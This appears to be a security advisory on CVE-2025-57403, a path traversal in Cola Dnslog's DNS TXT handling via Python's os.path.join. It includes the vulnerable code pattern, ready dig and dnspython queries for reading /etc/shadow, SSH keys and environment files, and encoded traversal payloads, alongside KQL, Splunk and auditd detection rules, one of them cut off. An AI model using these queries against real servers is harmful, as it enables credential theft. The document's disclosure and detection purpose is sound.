Executive Threat Summary
| Attribute | Value |
|---|---|
| CVE Identifier | CVE-2025-57403 |
| Vulnerability Title | Directory Traversal via DNS TXT Record Processing |
| CVSS v3.1 Score | 7.5 (High) – Estimated |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| Severity Rating | High |
| CWE Classification | CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) |
| Affected Product | Cola Dnslog |
| Vulnerable Version | v1.3.2 and potentially earlier |
| Fixed Version | Not yet confirmed |
| Exploit Availability | Conceptually exploitable / PoC easily derivable |
| Attack Vector | Network (Remote) |
| Attack Complexity | Low |
| Privileges Required | None (Unauthenticated) |
| User Interaction | None |
| Confidentiality Impact | High (Arbitrary file read) |
| Integrity Impact | None |
| Availability Impact | None |
| Vendor | AbelChe (Open Source Project) |
| Published Date | December 26, 2025 |
What Actually Went Wrong?
Cola Dnslog is a popular open-source platform used heavily by security researchers and penetration testers. It functions as an out-of-band (OOB) interaction and data exfiltration detection system, commonly leveraged to identify blind vulnerabilities such as SSRF, XXE, RCE, and Log4j exploitation paths. With support for DNS, HTTP, LDAP, and RMI logging, it has become a staple tool for red team operations and bug bounty testing.
The issue lies in the way Cola Dnslog processes DNS TXT record queries. When a TXT query is received, the application takes the queried value (or parts of it) and directly joins it with a predefined base directory using Python’s os.path.join function. On the surface, this looks harmless — but this is where a subtle yet dangerous behavior comes into play.
Python’s path handling has a well-documented quirk that is easy to overlook: if any argument passed to os.path.join is an absolute path, every path component before it is silently discarded. An attacker can abuse this behavior by injecting an absolute path into a DNS TXT query, effectively bypassing the directory boundaries the application was supposed to enforce.
Technical Breakdown
The os.path.join Pitfall
Many developers assume os.path.join will always append user input to a base directory. In reality, Python’s own documentation states:
“If a segment is an absolute path, then all previous segments are ignored and joining continues from the absolute path segment.”
>>> import os
>>> os.path.join('/safe/base/path', 'user_input.txt')
'/safe/base/path/user_input.txt'
>>> os.path.join('/safe/base/path', '/etc/passwd')
'/etc/passwd'
Likely Vulnerable Code Pattern
def handle_txt_record_query(query_url):
base_path = "/var/coladnslog/txt_records/"
file_path = os.path.join(base_path, query_url)
with open(file_path, 'r') as f:
return f.read()
End-to-End Attack Flow
- Attacker sends crafted DNS TXT record
- Absolute path or traversal payload is injected
- Base directory restriction is bypassed
- Arbitrary system files are read
Real-World Exploitation Scenarios
Scenario 1: Extracting Application Secrets
An attacker targets a Cola Dnslog deployment to retrieve sensitive configuration data:
dig TXT "/var/coladnslog/config.yaml" @target-dnslog-server.com
dig TXT "/home/coladnslog/.env" @target-dnslog-server.com
Scenario 2: System File Disclosure
Critical system files can be read to facilitate further compromise:
dig TXT "/etc/passwd" @target-dnslog-server.com
dig TXT "/etc/shadow" @target-dnslog-server.com
dig TXT "/root/.ssh/id_rsa" @target-dnslog-server.com
dig TXT "/proc/self/environ" @target-dnslog-server.com
Scenario 3: Cloud Credential Harvesting
If the service is running in a cloud environment, attackers may pivot toward metadata and environment variables:
dig TXT "/proc/net/fib_trie" @target-dnslog-server.com
dig TXT "/proc/self/environ" @target-dnslog-server.com
Proof-of-Concept Payloads
Basic Traversal Payloads
/etc/passwd
/etc/shadow
/etc/hosts
../../../etc/passwd
....//....//....//etc/passwd
..%2f..%2f..%2fetc/passwd
%2fetc%2fpasswd
..%252f..%252f..%252fetc/passwd
Application-Specific Targets
/var/coladnslog/config.yaml
/coladnslog/sqlite.db
/app/info.txt
/coladnslog/info.txt
/proc/1/cgroup
/proc/self/mountinfo
/.dockerenv
Crafted DNS Queries
dig TXT "$(echo -n '/etc/passwd' | xxd -p)" @vulnerable-server.com
nslookup -type=TXT "/etc/passwd" vulnerable-server.com
import dns.resolver
resolver = dns.resolver.Resolver()
resolver.nameservers = ['vulnerable-server-ip']
answer = resolver.resolve('/etc/passwd', 'TXT')
MITRE ATT&CK Mapping
| Tactic | Technique ID | Technique Name | Application |
|---|---|---|---|
| Initial Access | T1190 | Exploit Public-Facing Application | DNS service exposed on port 53 |
| Discovery | T1083 | File and Directory Discovery | Arbitrary file reads |
| Collection | T1005 | Data from Local System | Sensitive config and credentials |
| Credential Access | T1552.001 | Credentials in Files | .env, /etc/shadow, YAML configs |
| Privilege Escalation | T1068 | Exploitation for Privilege Escalation | Credential reuse and pivoting |
| Exfiltration | T1048 | Exfiltration Over Alternative Protocol | DNS-based data leakage |
Detection Engineering
High-Value Log Sources
| Log Source | Indicators | Priority |
|---|---|---|
| DNS Logs | TXT queries with path characters or encoding | Critical |
| Application Logs | File reads outside expected directories | High |
| System Audit Logs | Suspicious file access by Python process | High |
| Network Logs | Long or encoded DNS queries | Medium |
| FIM | Reads to /etc, /proc, /root | Medium |
Indicators of Compromise
Suspicious DNS Behavior
- TXT queries containing
/etc/,/proc/,/home/,/var/ - Presence of
..or encoded traversal sequences - Queries beginning with
/ - Excessively long or hex-encoded DNS names
File Access Red Flags
- Reads outside
/var/coladnslog/ - Access to credential or SSH key files
- Docker or container introspection files
Detection Rules
Microsoft Sentinel / KQL Queries
// Detect DNS TXT queries with path traversal indicators
DnsEvents
| where QueryType == "TXT"
| where Name contains "/etc/"
or Name contains "../"
or Name contains "/proc/"
or Name contains "/home/"
or Name contains "/root/"
or Name startswith "/"
or Name contains "passwd"
or Name contains "shadow"
or Name contains "%2f"
| project TimeGenerated, Computer, ClientIP, Name, QueryType
| extend ThreatIndicator = "CVE-2025-57403 Path Traversal Attempt"
| order by TimeGenerated desc// Hunt for Cola Dnslog specific targeting
DnsEvents
| where QueryType == "TXT"
| where Name contains "config.yaml"
or Name contains "sqlite.db"
or Name contains "coladnslog"
or Name contains "info.txt"
| project TimeGenerated, Computer, ClientIP, Name
| summarize AttemptCount = count(), FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated) by ClientIP
| where AttemptCount > 3
| order by AttemptCount descSplunk Query for Detection
index=dns sourcetype=dns OR sourcetype=bro_dns
query_type=TXT
(query="*/etc/*" OR query="*../*" OR query="*/proc/*" OR query="*/home/*" OR query="*passwd*" OR query="*%2f*")
| stats count by src_ip, query, _time
| where count > 1
| eval threat="CVE-2025-57403 Path Traversal"
| table _time, src_ip, query, count, threatLinux Auditd Rules
bash
# Monitor file access by Cola Dnslog process
-a always,exit -F arch=b64 -S open,openat,read -F exe=/usr/bin/python3 -F path=/etc/passwd -k coladnslog_traversal
-a always,exit -F arch=b64 -S open,openat,read -F exe=/usr/bin/python3 -F path=/etc/shadow -k coladnslog_traversal
-a always,exit -F arch=b64 -S open,openat,read -F exe=/usr/bin/python3 -F dir=/etc -k coladnslog_etc_access
-a always,exit -F arch=b64 -S open,openat,read -F exe=/usr/bin/pythonOfficial Patch Status
| Resource | Link |
|---|---|
| GitHub Repository | https://github.com/AbelChe/cola_dnslog |
| Releases | https://github.com/AbelChe/cola_dnslog/releases |
| Issues | https://github.com/AbelChe/cola_dnslog/issues |
Note: No official fix has been confirmed at the time of writing.
The Bigger Picture
Cola Dnslog is widely trusted infrastructure inside offensive security environments. A flaw at this layer does not just affect a single host — it risks exposing research data, credentials, internal tooling, and assessment context that attackers can later weaponize.
Path traversal bugs like this one are especially dangerous because they are:
- Easy to exploit
- Often overlooked during development
- Capable of exposing far more than intended
Final Takeaway
CVE-2025-57403 is a textbook example of how small implementation assumptions can create high-impact vulnerabilities — especially in security tooling that implicitly assumes a trusted user base. By combining a network-exposed service (DNS) with unsafe path handling logic, Cola Dnslog unintentionally allows unauthenticated attackers to read arbitrary files from the host system.
The real risk here isn’t just file disclosure — it’s context exposure. Credentials, assessment artifacts, cloud secrets, and operational data stored on a Dnslog instance can all be silently exfiltrated over DNS, a protocol that is rarely inspected deeply in most environments.
Until an official patch is released, defense-in-depth is critical:
- Treat Cola Dnslog as hostile-facing infrastructure
- Lock it down with strict file permissions and isolation
- Monitor DNS TXT queries aggressively
- Assume compromise if suspicious traversal patterns appear
In short: a tool designed to catch blind vulnerabilities can itself become a blind spot if not properly secured.
